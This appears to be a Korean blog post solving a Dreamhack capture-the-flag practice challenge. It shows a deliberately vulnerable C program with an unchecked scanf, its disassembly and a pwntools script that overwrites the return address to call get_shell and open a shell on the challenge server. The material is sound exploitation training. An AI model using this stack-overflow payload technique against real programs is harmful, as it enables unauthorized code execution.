드림핵 Return Address Overwrite 풀이

사랑해요·4일 전

드림핵 문제 풀이

목록 보기
19/19

문제설명

Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.

코드 분석

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

여기서 buf가 40 바이트 주어지고 scanf 함수로 값을 읽는다.
여기서 scanf 함수는 입력값의 크기를 계산하지 않기 때문에 bof가 발생한다.

Dump of assembler code for function main:
   0x00000000004006e8 <+0>:     push   rbp
   0x00000000004006e9 <+1>:     mov    rbp,rsp
   0x00000000004006ec <+4>:     sub    rsp,0x30
   0x00000000004006f0 <+8>:     mov    eax,0x0
   0x00000000004006f5 <+13>:    call   0x400667 <init>
   0x00000000004006fa <+18>:    lea    rdi,[rip+0xbb]        # 0x4007bc
   0x0000000000400701 <+25>:    mov    eax,0x0
   0x0000000000400706 <+30>:    call   0x400540 <printf@plt>
   0x000000000040070b <+35>:    lea    rax,[rbp-0x30]
   0x000000000040070f <+39>:    mov    rsi,rax
   0x0000000000400712 <+42>:    lea    rdi,[rip+0xab]        # 0x4007c4
   0x0000000000400719 <+49>:    mov    eax,0x0
   0x000000000040071e <+54>:    call   0x400570 <__isoc99_scanf@plt>
   0x0000000000400723 <+59>:    mov    eax,0x0
   0x0000000000400728 <+64>:    leave
   0x0000000000400729 <+65>:    ret
End of assembler dump.

main 함수를 분석하면 이런 값이 나오는데,
buf의 크기가 48 바이트, sfp가 8 바이트이다.

그러므로 페이로드는

payload = b"A"*56 + b"\xaa\x06\x40\x00\x00\x00\x00\x00"

여기서 뒷쪽에 있는 값은 get_shell 함수의 주소를 c언어 문자열로 변환한 값이다.

전체 소스코드

from pwn import *

p = remote("host3.dreamhack.games", 14928)

payload = b"A"*56 + b"\xaa\x06\x40\x00\x00\x00\x00\x00"

p.sendline(payload)

p.interactive()
profile
중등해커

0개의 댓글